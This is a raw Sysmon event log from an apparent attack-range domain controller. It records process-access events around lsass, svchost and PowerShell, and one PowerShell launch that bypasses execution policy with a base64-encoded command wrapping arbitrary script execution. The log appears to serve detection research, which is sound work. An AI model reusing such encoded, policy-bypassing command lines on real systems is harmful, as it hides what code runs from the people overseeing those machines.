09:10:15.540{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002797Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.540{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002796Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.540{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002795Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.494{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002794Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.494{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000002793Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.462{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_exprdya0.auz.ps12020-10-09 09:10:15.462 10341000x80000000000000002792Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.447{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002791Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28F7-5F80-8200-000000007F01}50525072C:\Windows\system32\conhost.exe{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002790Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002789Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002788Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002787Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002786Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002785Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002784Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002783Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002782Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002781Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002780Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.415{A5F018FF-28F7-5F80-8400-000000007F01}41244144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd4e32a5(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc98412f(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc983e00(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd435465(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc944996(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9a2e65(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9864ca(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9864ca(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc98635b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc9782e0(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc984813(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc984406(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc98412f(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc983e00(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fd435465(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc96ac61(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+fc96a231(wow64) 154100x80000000000000002779Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.426{A5F018FF-28F7-5F80-8500-000000007F01}4140C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28F7-5F80-B1E0-040000000000}0x4e0b10HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-28F7-5F80-8400-000000007F01}4124C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMA